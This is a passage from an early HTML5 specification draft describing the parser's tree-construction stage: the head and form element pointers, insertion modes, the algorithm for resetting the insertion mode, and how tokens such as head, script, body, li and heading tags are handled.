href="#p0">p</a></code> element, a <code><a   href="#td0">td</a></code> element, a <code><a href="#th0">th</a></code>   element, or a <code><a href="#tr0">tr</a></code> element, the UA must act   as if an end tag with the respective tag name had been seen and then <a   href="#generate">generate implied end tags</a> again.  <p>The step that requires the UA to generate implied end tags but lists an   element to exclude from the process, then the UA must perform the above   steps as if that element was not in the above list.  <h6 id=the-element><span class=secno>8.2.4.3.5. </span>The element pointers</h6>  <p>Initially the <dfn id=head-element><code title="">head</code> element   pointer</dfn> and the <dfn id=form-element><code title="">form</code>   element pointer</dfn> are both null.  <p>Once a <code><a href="#head0">head</a></code> element has been parsed   (whether implicitly or explicitly) the <a href="#head-element"><code   title="">head</code> element pointer</a> gets set to point to this node.  <p>The <a href="#form-element"><code title="">form</code> element   pointer</a> points to the last <code>form</code> element that was opened   and whose end tag has not yet been seen. It is used to make form controls   associate with forms in the face of dramatically bad markup, for   historical reasons.  <h6 id=the-insertion><span class=secno>8.2.4.3.6. </span>The insertion mode</h6>  <p>Initially the <dfn id=insertion0>insertion mode</dfn> is "<a   href="#before2" title="insertion mode: before head">before head</a>". It   can change to "<a href="#in-head" title="insertion mode: in head">in   head</a>", "<a href="#after1" title="insertion mode: after head">after   head</a>", "<a href="#in-body" title="insertion mode: in body">in   body</a>", "<a href="#in-table" title="insertion mode: in table">in   table</a>", "<a href="#in-caption" title="insertion mode: in caption">in   caption</a>", "<a href="#in-column" title="insertion mode: in column   group">in column group</a>", "<a href="#in-table0" title="insertion mode:   in table body">in table body</a>", "<a href="#in-row" title="insertion   mode: in row">in row</a>", "<a href="#in-cell" title="insertion mode: in   cell">in cell</a>", "<a href="#in-select" title="insertion mode: in   select">in select</a>", "<a href="#after2" title="insertion mode: after   body">after body</a>", "<a href="#in-frameset" title="insertion mode: in   frameset">in frameset</a>", and "<a href="#after3" title="insertion mode:   after frameset">after frameset</a>" during the course of the parsing, as   described below. It affects how certain tokens are processed.  <p>If the tree construction stage is switched from <a href="#the-main1">the   main phase</a> to <a href="#the-trailing1">the trailing end phase</a> and   back again, the various pieces of state are not reset; the UA must act as   if the state was maintained.  <p>When the steps below require the UA to <dfn id=reset>reset the insertion   mode appropriately</dfn>, it means the UA must follow these steps:  <ol>   <li>Let <var title="">last</var> be false.   <li>Let <var title="">node</var> be the last node in the <a    href="#stack">stack of open elements</a>.   <li>If <var title="">node</var> is the first node in the stack of open    elements, then set <var title="">last</var> to true. If the element whose    <code title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>    attribute is being set is neither a <code><a href="#td0">td</a></code>    element nor a <code><a href="#th0">th</a></code> element, then set <var    title="">node</var> to the element whose <code    title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>    attribute is being set. (<a href="#innerhtml1"><code>innerHTML</code>    case</a>)   <li>If <var title="">node</var> is a <code>select</code> element, then    switch the <a href="#insertion0">insertion mode</a> to "<a    href="#in-select" title="insertion mode: in select">in select</a>" and    abort these steps. (<a href="#innerhtml1"><code>innerHTML</code>    case</a>)   <li>If <var title="">node</var> is a <code><a href="#td0">td</a></code> or    <code><a href="#th0">th</a></code> element, then switch the <a    href="#insertion0">insertion mode</a> to "<a href="#in-cell"    title="insertion mode: in cell">in cell</a>" and abort these steps.   <li>If <var title="">node</var> is a <code><a href="#tr0">tr</a></code>    element, then switch the <a href="#insertion0">insertion mode</a> to "<a    href="#in-row" title="insertion mode: in row">in row</a>" and abort these    steps.   <li>If <var title="">node</var> is a <code><a    href="#tbody0">tbody</a></code>, <code><a    href="#thead1">thead</a></code>, or <code><a    href="#tfoot1">tfoot</a></code> element, then switch the <a    href="#insertion0">insertion mode</a> to "<a href="#in-table0"    title="insertion mode: in table body">in table body</a>" and abort these    steps.   <li>If <var title="">node</var> is a <code><a    href="#caption1">caption</a></code> element, then switch the <a    href="#insertion0">insertion mode</a> to "<a href="#in-caption"    title="insertion mode: in caption">in caption</a>" and abort these steps.   <li>If <var title="">node</var> is a <code><a    href="#colgroup0">colgroup</a></code> element, then switch the <a    href="#insertion0">insertion mode</a> to "<a href="#in-column"    title="insertion mode: in column group">in column group</a>" and abort    these steps. (<a href="#innerhtml1"><code>innerHTML</code> case</a>)   <li>If <var title="">node</var> is a <code><a    href="#table0">table</a></code> element, then switch the <a    href="#insertion0">insertion mode</a> to "<a href="#in-table"    title="insertion mode: in table">in table</a>" and abort these steps.   <li>If <var title="">node</var> is a <code><a    href="#head0">head</a></code> element, then switch the <a    href="#insertion0">insertion mode</a> to "<a href="#in-body"    title="insertion mode: in body">in body</a>" ("<a href="#in-body"    title="insertion mode: in body">in body</a>"! <em> not "<a    href="#in-head" title="insertion mode: in head">in head</a>"</em>!) and    abort these steps. (<a href="#innerhtml1"><code>innerHTML</code>    case</a>)   <li>If <var title="">node</var> is a <code><a    href="#body1">body</a></code> element, then switch the <a    href="#insertion0">insertion mode</a> to "<a href="#in-body"    title="insertion mode: in body">in body</a>" and abort these steps.   <li>If <var title="">node</var> is a <code>frameset</code> element, then    switch the <a href="#insertion0">insertion mode</a> to "<a    href="#in-frameset" title="insertion mode: in frameset">in frameset</a>"    and abort these steps. (<a href="#innerhtml1"><code>innerHTML</code>    case</a>)   <li>If <var title="">node</var> is an <code><a    href="#html0">html</a></code> element, then: if the <a    href="#head-element"><code title="">head</code> element pointer</a> is    null, switch the <a href="#insertion0">insertion mode</a> to "<a    href="#before2" title="insertion mode: before head">before head</a>",    otherwise, switch the <a href="#insertion0">insertion mode</a> to "<a    href="#after1" title="insertion mode: after head">after head</a>". In    either case, abort these steps. (<a    href="#innerhtml1"><code>innerHTML</code> case</a>)</li>   <!-- XXX can the head element pointer ever be   non-null when we're going through these steps? -->   <li>If <var title="">last</var> is true, then set the <a    href="#insertion0">insertion mode</a> to "<a href="#in-body"    title="insertion mode: in body">in body</a>" and abort these steps. (<a    href="#innerhtml1"><code>innerHTML</code> case</a>)   <li>Let <var title="">node</var> now be the node before <var    title="">node</var> in the <a href="#stack">stack of open elements</a>.   <li>Return to step 3.  </ol>  <!--When you don't have to handle innerHTML, you can use thissimplified explanation instead:  <ol>   <li><p>If the <span>stack of open elements</span> <span title="has   an element in table scope">has a <code>td</code> or <code>th</code>   element in table scope</span>, then switch the <span>insertion   mode</span> to "<span title="insertion mode: in cell">in   cell</span>".</p></li>   <li><p>Otherwise, if the <span>stack of open elements</span> <span   title="has an element in table scope">has a <code>tr</code> element   in table scope</span>, then switch the <span>insertion mode</span>   to "<span title="insertion mode: in row">in row</span>".</p></li>   <li><p>Otherwise, if the <span>stack of open elements</span> <span   title="has an element in table scope">has a <code>tbody</code>,   <code>tfoot</code>, or <code>thead</code> element in table   scope</span>, then switch the <span>insertion mode</span> to "<span   title="insertion mode: in table body">in table   body</span>".</p></li>   <li><p>Otherwise, if the <span>stack of open elements</span> <span   title="has an element in table scope">has a <code>caption</code>   element in table scope</span>, then switch the <span>insertion   mode</span> to "<span title="insertion mode: in caption">in   caption</span>".</p></li>   ( you can't reach this point with a colgroup element on the   stack )   <li><p>Otherwise, if the <span>stack of open elements</span> <span   title="has an element in table scope">has a <code>table</code>   element in table scope</span>, then switch the <span>insertion   mode</span> to "<span title="insertion mode: in table">in   table</span>".</p></li>   <li><p>Otherwise, switch the <span>insertion mode</span> to "<span   title="insertion mode: in body">in body</span>".</p></li>  </ol>-->  <h6 id=how-to0><span class=secno>8.2.4.3.7. </span>How to handle tokens in   the main phase</h6>  <p>Tokens in the main phase must be handled as follows:  <dl class=switch>   <dt>A DOCTYPE token   <dd>    <p><a href="#parse">Parse error</a>. Ignore the token.</p>   <dt>A start tag token with the tag name "html"   <dd>    <p>If this start tag token was not the first start tag token, then it is     a <a href="#parse">parse error</a>.</p>    <p>For each attribute on the token, check to see if the attribute is     already present on the top element of the <a href="#stack">stack of open     elements</a>. If it is not, add the attribute and its corresponding     value to that element.</p>   <dt>An end-of-file token   <dd>    <p><a href="#generate">Generate implied end tags.</a></p>    <p>If there's more than one node on the <a href="#stack">stack of open     elements</a>, or, if the parser was <em>not</em> originally created in     order to handle the setting of an element's <code     title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>     attribute (<a href="#innerhtml1"><code>innerHTML</code> case</a>) and     the second node on the <a href="#stack">stack of open elements</a> is     not a <code><a href="#body1">body</a></code> node, this is a <a     href="#parse">parse error</a>.</p>    <p><a href="#stop-">Stop parsing.</a></p>    <p class=big-issue>This fails because it doesn't imply HEAD and BODY     tags. We should probably expand out the insertion modes and merge them     with phases and then put the three things here into each insertion mode     instead of trying to factor them out so carefully.</p>   <dt>Anything else   <dd>    <p>Depends on the <a href="#insertion0">insertion mode</a>:</p>    <dl class=switch>     <dt>If the <a href="#insertion0">insertion mode</a> is "<dfn id=before2      title="insertion mode: before head">before head</dfn>"     <dd>      <p>Handle the token as follows:</p>      <dl class=switch>       <dt>A character token that is one of one of U+0009 CHARACTER        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C        FORM FEED (FF), or U+0020 SPACE       <dd>        <p><a href="#append" title="append a character">Append the         character</a> to the <a href="#current3">current node</a>.</p>       <dt>A comment token       <dd>        <p>Append a <code>Comment</code> node to the <a         href="#current3">current node</a> with the <code         title="">data</code> attribute set to the data given in the comment         token.</p>       <dt>A start tag token with the tag name "head"       <dd>        <p><a href="#create">Create an element for the token</a>.</p>        <p>Set the <a href="#head-element"><code title="">head</code> element         pointer</a> to this new element node.</p>        <p>Append the new element to the <a href="#current3">current node</a>         and push it onto the <a href="#stack">stack of open elements</a>.</p>        <p>Change the <a href="#insertion0">insertion mode</a> to "<a         href="#in-head" title="insertion mode: in head">in head</a>".</p>       <dt>A start tag token whose tag name is one of: "base", "link",        "meta", "script", "style", "title"       <dd>        <p>Act as if a start tag token with the tag name "head" and no         attributes had been seen, then reprocess the current token.</p>        <p class=note>This will result in a <code><a         href="#head0">head</a></code> element being generated, and with the         current token being reprocessed in the "<a href="#in-head"         title="insertion mode: in head">in head</a>" <a         href="#insertion0">insertion mode</a>.</p>       <dt>An end tag with the tag name "html"       <dd>        <p>Act as if a start tag token with the tag name "head" and no         attributes had been seen, then reprocess the current token.</p>       <dt>Any other end tag       <dd>        <p><a href="#parse">Parse error</a>. Ignore the token.</p>       <dt>A character token that is <em>not</em> one of U+0009 CHARACTER        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C        FORM FEED (FF), or U+0020 SPACE       <dt>Any other start tag token       <dd>        <p>Act as if a start tag token with the tag name "head" and no         attributes had been seen, then reprocess the current token.</p>        <p class=note>This will result in an empty <code><a         href="#head0">head</a></code> element being generated, with the         current token being reprocessed in the "<a href="#after1"         title="insertion mode: after head">after head</a>" <a         href="#insertion0">insertion mode</a>.</p>      </dl>     <dt id=parsing-main-inhead>If the <a href="#insertion0">insertion      mode</a> is "<dfn id=in-head title="insertion mode: in head">in      head</dfn>"     <dd>      <p>Handle the token as follows.</p>      <p class=note>The rules for handling "title", "style", and "script"       start tags are similar, but not identical.</p>      <p class=note>It is possible for the <a href="#tree-construction1">tree       construction</a> stage's <a href="#the-main1" title="the main       phase">main phase</a> to be in the "<a href="#in-head"       title="insertion mode: in head">in head</a>" <a       href="#insertion0">insertion mode</a> without the <a       href="#current3">current node</a> being a <code><a       href="#head0">head</a></code> element, e.g. if a <code><a       href="#head0">head</a></code> end tag is immediately followed by a       <code><a href="#meta1">meta</a></code> start tag.</p>      <dl class=switch>       <dt>A character token that is one of one of U+0009 CHARACTER        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C        FORM FEED (FF), or U+0020 SPACE       <dd>        <p><a href="#append" title="append a character">Append the         character</a> to the <a href="#current3">current node</a>.</p>       <dt>A comment token       <dd>        <p>Append a <code>Comment</code> node to the <a         href="#current3">current node</a> with the <code         title="">data</code> attribute set to the data given in the comment         token.</p>       <dt>A start tag with the tag name "title"       <dd>        <p><a href="#create">Create an element for the token</a>.</p>        <p>Append the new element to the node pointed to by the <a         href="#head-element"><code title="">head</code> element pointer</a>,         or, if that is null (<a href="#innerhtml1"><code>innerHTML</code>         case</a>), to the <a href="#current3">current node</a>.</p>        <p>Switch the tokeniser's <a href="#content2">content model flag</a>         to the RCDATA state.</p>        <p>Then, collect all the character tokens that the tokeniser returns         until it returns a token that is not a character token.</p>        <p>If this process resulted in a collection of character tokens,         append a single <code>Text</code> node to the <code><a         href="#title3">title</a></code> element node whose contents is the         concatenation of all those tokens' characters.</p>        <p>The tokeniser's <a href="#content2">content model flag</a> will         have switched back to the PCDATA state.</p>        <p>If the next token is an end tag token with the tag name "title",         ignore it. Otherwise, this is a <a href="#parse">parse error</a>.</p>       <dt>A start tag with the tag name "style"       <dd>        <p><a href="#create">Create an element for the token</a>.</p>        <p>Append the new element to the node pointed to by the <a         href="#head-element"><code title="">head</code> element pointer</a>,         or, if that is null (<a href="#innerhtml1"><code>innerHTML</code>         case</a>), to the <a href="#current3">current node</a>.</p>        <p>Switch the tokeniser's <a href="#content2">content model flag</a>         to the CDATA state.</p>        <p>Then, collect all the character tokens that the tokeniser returns         until it returns a token that is not a character token, or until it         stops tokenising.</p>        <p>If this process resulted in a collection of character tokens,         append a single <code>Text</code> node to the <code><a         href="#style0">style</a></code> element node whose contents is the         concatenation of all those tokens' characters.</p>        <p>The tokeniser's <a href="#content2">content model flag</a> will         have switched back to the PCDATA state.</p>        <p>If the next token is an end tag token with the tag name "style",         ignore it. Otherwise, this is a <a href="#parse">parse error</a>.</p>       <dt id=scriptTag>A start tag with the tag name "script"       <dd>        <p><a href="#create">Create an element for the token</a>.</p>        <p>Mark the element as being <a         href="#parser-inserted">"parser-inserted"</a>. This ensures that, if         the script is external, any <code title=dom-document-write-HTML><a         href="#document.write0">document.write()</a></code> calls in the         script will execute in-line, instead of blowing the document away,         as would happen in most other cases.</p>        <p>Switch the tokeniser's <a href="#content2">content model flag</a>         to the CDATA state.</p>        <p>Then, collect all the character tokens that the tokeniser returns         until it returns a token that is not a character token, or until it         stops tokenising.</p>        <p>If this process resulted in a collection of character tokens,         append a single <code>Text</code> node to the <code><a         href="#script2">script</a></code> element node whose contents is the         concatenation of all those tokens' characters.</p>        <p>The tokeniser's <a href="#content2">content model flag</a> will         have switched back to the PCDATA state.</p>        <p>If the next token is not an end tag token with the tag name         "script", then this is a <a href="#parse">parse error</a>; mark the         <code><a href="#script2">script</a></code> element as <a         href="#already">"already executed"</a>. Otherwise, the token is the         <code><a href="#script2">script</a></code> element's end tag, so         ignore it.</p>        <p>If the parser was originally created in order to handle the         setting of a node's <code title=dom-innerHTML-HTML><a         href="#innerhtml0">innerHTML</a></code> attribute, then mark the         <code><a href="#script2">script</a></code> element as <a         href="#already">"already executed"</a>, and skip the rest of the         processing described for this token (including the part below where         "<a href="#the-script" title="the script that will execute as soon         as the parser resumes">scripts that will execute as soon as the         parser resumes</a>" are executed). (<a         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>        <p class=note>Marking the <code><a href="#script2">script</a></code>         element as "already executed" prevents it from executing when it is         inserted into the document a few paragraphs below. Scripts missing         their end tags and scripts that were inserted using <code         title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>         aren't executed.</p>        <p>Let the <var title="">old insertion point</var> have the same         value as the current <a href="#insertion">insertion point</a>. Let         the <a href="#insertion">insertion point</a> be just before the <a         href="#next-input">next input character</a>.</p>        <p>Append the new element to the <a href="#current3">current         node</a>, unless the <a href="#insertion0">insertion mode</a> is "<a         href="#in-head" title="insertion mode: in head">in head</a>" and the         <a href="#head-element"><code title="">head</code> element         pointer</a> is not null, in which case append it to the node pointed         to by the <a href="#head-element"><code title="">head</code> element         pointer</a>. <!--        <head></head><script><body> should put the script in the head,        and does so by switching back to in head, but the head isn't        the current node at that point (comments should go between the        head and the body) -->         <a href="#when-a" title="running a script">Special processing occurs         when a <code>script</code> element is inserted into a document</a>         that might cause some script to execute, which might cause <a         href="#document.write0" title=dom-document-write-HTML>new characters         to be inserted into the tokeniser</a>.</p>        <p>Let the <a href="#insertion">insertion point</a> have the value of         the <var title="">old insertion point</var>. (In other words,         restore the <a href="#insertion">insertion point</a> to the value it         had before the previous paragraph. This value might be the         "undefined" value.)</p>        <p id=scriptTagParserResumes>At this stage, if there is <a         href="#the-script" title="the script that will execute as soon as         the parser resumes">a script that will execute as soon as the parser         resumes</a>, then:</p>        <dl class=switch>         <dt>If the tree construction stage is <a href="#nestedParsing">being          called reentrantly</a>, say from a call to <code          title=dom-document-write-HTML><a          href="#document.write0">document.write()</a></code>:         <dd>          <p>Abort the processing of any nested invokations of the tokeniser,           yielding control back to the caller. (Tokenisation will resume           when the caller returns to the "outer" tree construction stage.)         <dt>Otherwise:         <dd>          <p>Follow these steps:</p>          <ol>           <li>            <p>Let <var title="">the script</var> be <a             href="#the-script">the script that will execute as soon as the             parser resumes</a>. There is no longer <a href="#the-script"             title="the script that will execute as soon as the parser             resumes">a script that will execute as soon as the parser             resumes</a>.           <li>            <p><a href="#pause">Pause</a> until the script has             <span>completed loading</span><!-- XXX xref -->.           <li>            <p>Let the <a href="#insertion">insertion point</a> be just             before the <a href="#next-input">next input character</a>.           <li>            <p><a href="#executing" title="executing a script block">Execute             the script</a>.           <li>            <p>Let the <a href="#insertion">insertion point</a> be undefined             again.           <li>            <p>If there is once again <a href="#the-script" title="the script             that will execute as soon as the parser resumes">a script that             will execute as soon as the parser resumes</a>, then repeat             these steps from step 1.          </ol>        </dl>       <dt>A start tag with the tag name "base", "link", or "meta"       <dd>        <p><a href="#create">Create an element for the token</a>.</p>        <p>Append the new element to the node pointed to by the <a         href="#head-element"><code title="">head</code> element pointer</a>,         or, if that is null (<a href="#innerhtml1"><code>innerHTML</code>         case</a>), to the <a href="#current3">current node</a>.</p>        <p class=big-issue>Need to cope with second and subsequent <code><a         href="#base0">base</a></code> elements affecting subsequent elements         magically.</p>       <dt>An end tag with the tag name "head"       <dd>        <p>If the <a href="#current3">current node</a> is a <code><a         href="#head0">head</a></code> element, pop the <a         href="#current3">current node</a> off the <a href="#stack">stack of         open elements</a>. Otherwise, this is a <a href="#parse">parse         error</a>.</p>        <!-- might happen if you see two </head>s        and something in between the two sends you from "after head"        back to "in head" -->                <p>Change the <a href="#insertion0">insertion mode</a> to "<a         href="#after1" title="insertion mode: after head">after head</a>".</p>       <dt>An end tag with the tag name "html"       <dd>        <p>Act as described in the "anything else" entry below.</p>       <dt>A start tag with the tag name "head"       <dt>Any other end tag       <dd>        <p><a href="#parse">Parse error</a>. Ignore the token.</p>       <dt>Anything else       <dd>        <p>If the <a href="#current3">current node</a> is a <code><a         href="#head0">head</a></code> element, act as if an end tag token         with the tag name "head" had been seen.</p>        <p>Otherwise, change the <a href="#insertion0">insertion mode</a> to         "<a href="#after1" title="insertion mode: after head">after         head</a>".</p>        <p>Then, reprocess the current token.</p>        <p class=big-issue>In certain UAs, <a         href="https://bugzilla.mozilla.org/attachment.cgi?id=180157AMPERSANDamp;action=view">some         elements</a> don't trigger the "in body" mode straight away, but         instead get put into the head. Do we want to copy that?</p>      </dl>     <dt>If the <a href="#insertion0">insertion mode</a> is "<dfn id=after1      title="insertion mode: after head">after head</dfn>"     <dd>      <p>Handle the token as follows:</p>      <dl class=switch>       <dt>A character token that is one of one of U+0009 CHARACTER        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C        FORM FEED (FF), or U+0020 SPACE       <dd>        <p><a href="#append" title="append a character">Append the         character</a> to the <a href="#current3">current node</a>.</p>       <dt>A comment token       <dd>        <p>Append a <code>Comment</code> node to the <a         href="#current3">current node</a> with the <code         title="">data</code> attribute set to the data given in the comment         token.</p>       <dt>A start tag token with the tag name "body"       <dd>        <p><a href="#insert" title="insert an HTML element">Insert a         <code>body</code> element</a> for the token.</p>        <p>Change the <a href="#insertion0">insertion mode</a> to "<a         href="#in-body" title="insertion mode: in body">in body</a>".</p>       <dt>A start tag token with the tag name "frameset"       <dd>        <p><a href="#insert" title="insert an HTML element">Insert a         <code>frameset</code> element</a> for the token.</p>        <p>Change the <a href="#insertion0">insertion mode</a> to "<a         href="#in-frameset" title="insertion mode: in frameset">in         frameset</a>".</p>       <dt>A start tag token whose tag name is one of: "base", "link",        "meta", "script", "style", "title"       <dd>        <p><a href="#parse">Parse error</a>. Switch the <a         href="#insertion0">insertion mode</a> back to "<a href="#in-head"         title="insertion mode: in head">in head</a>" and reprocess the         token.</p>       <dt>Anything else       <dd>        <p>Act as if a start tag token with the tag name "body" and no         attributes had been seen, and then reprocess the current token.</p>      </dl>     <dt id=parsing-main-inbody>If the <a href="#insertion0">insertion      mode</a> is "<dfn id=in-body title="insertion mode: in body">in      body</dfn>"     <dd>      <p>Handle the token as follows:</p>      <dl class=switch>       <dt>A character token       <dd>        <p><a href="#reconstruct">Reconstruct the active formatting         elements</a>, if any.</p>        <p><a href="#append" title="append a character">Append the token's         character</a> to the <a href="#current3">current node</a>.</p>       <dt>A comment token       <dd>        <p>Append a <code>Comment</code> node to the <a         href="#current3">current node</a> with the <code         title="">data</code> attribute set to the data given in the comment         token.</p>       <dt>A start tag token whose tag name is "script"       <dd>        <p>Process the token as if the <a href="#insertion0">insertion         mode</a> had been "<a href="#in-head" title="insertion mode: in         head">in head</a>".</p>       <dt>A start tag token whose tag name is one of: "base", "link",        "meta", "style", "title"       <dd>        <p><a href="#parse">Parse error</a>. Process the token as if the <a         href="#insertion0">insertion mode</a> had been "<a href="#in-head"         title="insertion mode: in head">in head</a>".</p>       <dt>A start tag token with the tag name "body"       <dd>        <p><a href="#parse">Parse error</a>.</p>        <p>If the second element on the <a href="#stack">stack of open         elements</a> is not a <code><a href="#body1">body</a></code>         element, or, if the <a href="#stack">stack of open elements</a> has         only one node on it, then ignore the token. (<a         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>        <p>Otherwise, for each attribute on the token, check to see if the         attribute is already present on the <code><a         href="#body1">body</a></code> element (the second element) on the <a         href="#stack">stack of open elements</a>. If it is not, add the         attribute and its corresponding value to that element.</p>       <dt>An end tag with the tag name "body"       <dd>        <p>If the second element in the <a href="#stack">stack of open         elements</a> is not a <code><a href="#body1">body</a></code>         element, this is a <a href="#parse">parse error</a>. Ignore the         token. (<a href="#innerhtml1"><code>innerHTML</code> case</a>)</p>        <p>Otherwise:</p>        <p>If the <a href="#current3">current node</a> is not the <code><a         href="#body1">body</a></code> element, then this is a <a         href="#parse">parse error</a>.</p>        <p>Change the <a href="#insertion0">insertion mode</a> to "<a         href="#after2" title="insertion mode: after body">after body</a>".</p>       <dt>An end tag with the tag name "html"       <dd>        <p>Act as if an end tag with tag name "body" had been seen, then, if         that token wasn't ignored, reprocess the current token.</p>        <p class=note>The fake end tag token here can only be ignored in the         <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>       <dt>A start tag whose tag name is one of: "address", "blockquote",        "center", "dir", "div", "dl", "fieldset", "listing", "menu", "ol",        "p", "pre", "ul"       <dd>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an" title="has an element in scope">has a <code>p</code>         element in scope</a>, then act as if an end tag with the tag name         <code><a href="#p0">p</a></code> had been seen.</p>        <p><a href="#insert" title="insert an html element">Insert an HTML         element</a> for the token.</p>       <dt>A start tag whose tag name is "form"       <dd>        <p>If the <a href="#form-element"><code title=form>form</code>         element pointer</a> is not null, ignore the token with a <a         href="#parse">parse error</a>.</p>        <p>Otherwise:</p>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an" title="has an element in scope">has a <code>p</code>         element in scope</a>, then act as if an end tag with the tag name         <code><a href="#p0">p</a></code> had been seen.</p>        <p><a href="#insert" title="insert an html Element">Insert an HTML         element</a> for the token, and set the <code title=form>form</code>         element pointer to point to the element created.</p>       <dt>A start tag whose tag name is "li"       <dd>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an" title="has an element in scope">has a <code>p</code>         element in scope</a>, then act as if an end tag with the tag name         <code><a href="#p0">p</a></code> had been seen.</p>        <p>Run the following algorithm:</p>        <ol>         <li>          <p>Initialise <var title="">node</var> to be the <a           href="#current3">current node</a> (the bottommost node of the           stack).         <li>          <p>If <var title="">node</var> is an <code><a           href="#li0">li</a></code> element, then pop all the nodes from the           <a href="#current3">current node</a> up to <var           title="">node</var>, including <var title="">node</var>, then stop           this algorithm.         <li>          <p>If <var title="">node</var> is not in the <a           href="#formatting">formatting</a> category, and is not in the <a           href="#phrasing">phrasing</a> category, and is not an <code><a           href="#address0">address</a></code> or <code><a           href="#div0">div</a></code> element, then stop this algorithm.         </li>         <!-- an element <foo> is in this         list if the following markup:             <!DOCTYPE html><body><ol><li><foo><li>         ...results in the second <li> not being (in any way) a         descendant of the first <li>, or if <foo> is a formatting         element that gets reopened later. -->         <li>          <p>Otherwise, set <var title="">node</var> to the previous entry in           the <a href="#stack">stack of open elements</a> and return to step           2.        </ol>        <p>Finally, <a href="#insert" title="insert an html element">insert         an <code>li</code> element</a>.</p>       <dt>A start tag whose tag name is "dd" or "dt"       <dd>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an" title="has an element in scope">has a <code>p</code>         element in scope</a>, then act as if an end tag with the tag name         <code><a href="#p0">p</a></code> had been seen.</p>        <p>Run the following algorithm:</p>        <ol>         <li>          <p>Initialise <var title="">node</var> to be the <a           href="#current3">current node</a> (the bottommost node of the           stack).         <li>          <p>If <var title="">node</var> is a <code><a           href="#dd0">dd</a></code> or <code><a href="#dt0">dt</a></code>           element, then pop all the nodes from the <a           href="#current3">current node</a> up to <var title="">node</var>,           including <var title="">node</var>, then stop this algorithm.         <li>          <p>If <var title="">node</var> is not in the <a           href="#formatting">formatting</a> category, and is not in the <a           href="#phrasing">phrasing</a> category, and is not an <code><a           href="#address0">address</a></code> or <code><a           href="#div0">div</a></code> element, then stop this algorithm.         </li>         <!-- an element <foo> is in this         list if the following markup:             <!DOCTYPE html><body><ol><dt><foo><dt>         ...results in the second <li> not being (in any way) a         descendant of the first <li>, or if <foo> is a formatting         element that gets reopened later. -->         <li>          <p>Otherwise, set <var title="">node</var> to the previous entry in           the <a href="#stack">stack of open elements</a> and return to step           2.        </ol>        <p>Finally, <a href="#insert" title="insert an html element">insert         an HTML element</a> with the same tag name as the token's.</p>       <dt>A start tag token whose tag name is "plaintext"       <dd>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an" title="has an element in scope">has a <code>p</code>         element in scope</a>, then act as if an end tag with the tag name         <code><a href="#p0">p</a></code> had been seen.</p>        <p><a href="#insert" title="insert an html element">Insert an HTML         element</a> for the token.</p>        <p>Switch the <a href="#content2">content model flag</a> to the         PLAINTEXT state.</p>        <p class=note>Once a start tag with the tag name "plaintext" has been         seen, that will be the last token ever seen other than character         tokens (and the end-of-file token), because there is no way to         switch the <a href="#content2">content model flag</a> out of the         PLAINTEXT state.</p>       <dt>An end tag whose tag name is one of: "address", "blockquote",        "center", "dir", "div", "dl", "fieldset", "listing", "menu", "ol",        "pre", "ul"       <dd>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an">has an element in scope</a> with the same tag name         as that of the token, then <a href="#generate">generate implied end         tags</a>.</p>        <p>Now, if the <a href="#current3">current node</a> is not an element         with the same tag name as that of the token, then this is a <a         href="#parse">parse error</a>.</p>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an">has an element in scope</a> with the same tag name         as that of the token, then pop elements from this stack until an         element with that tag name has been popped from the stack.</p>        <!-- XXX quirk (except for in certain cases?):        <p>Otherwise, act as if a start tag with the tag name given in        the token had been seen, then reprocess the current token.</p>        -->               <dt>An end tag whose tag name is "form"       <dd>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an">has an element in scope</a> with the same tag name         as that of the token, then <a href="#generate">generate implied end         tags</a>.</p>        <p>Now, if the <a href="#current3">current node</a> is not an element         with the same tag name as that of the token, then this is a <a         href="#parse">parse error</a>.</p>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an">has an element in scope</a> with the same tag name         as that of the token, then pop elements from this stack until an         element with that tag name has been popped from the stack.</p>        <p>In any case, set the <a href="#form-element"><code         title="">form</code> element pointer</a> to null.</p>       <dt>An end tag whose tag name is "p"       <dd>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an" title="has an element in scope">has a <code>p</code>         element in scope</a>, then <a href="#generate">generate implied end         tags</a>, except for <code><a href="#p0">p</a></code> elements.</p>        <p>If the <a href="#current3">current node</a> is not a <code><a         href="#p0">p</a></code> element, then this is a <a         href="#parse">parse error</a>.</p>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an" title="has an element in scope">has a <code>p</code>         element in scope</a>, then pop elements from this stack until the         stack no longer <a href="#have-an" title="has an element in         scope">has a <code>p</code> element in scope</a>.</p>        <!-- XXX quirk:        <p>Otherwise, act as if a start tag with the tag name        <code>p</code> had been seen, then reprocess the current        token.</p>        -->               <dt>An end tag whose tag name is "dd", "dt", or "li"       <dd>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an">has an element in scope</a> whose tag name matches         the tag name of the token, then <a href="#generate">generate implied         end tags</a>, except for elements with the same tag name as the         token.</p>        <p>If the <a href="#current3">current node</a> is not an element with         the same tag name as the token, then this is a <a         href="#parse">parse error</a>.</p>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an">has an element in scope</a> whose tag name matches         the tag name of the token, then pop elements from this stack until         an element with that tag name has been popped from the stack.</p>       <dt>A start tag whose tag name is one of: "h1", "h2", "h3", "h4",        "h5", "h6"       <dd>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an" title="has an element in scope">has a <code>p</code>         element in scope</a>, then act as if an end tag with the tag name         <code><a href="#p0">p</a></code> had been seen.</p>        <p>If the <a href="#stack">stack of open elements</a> <a         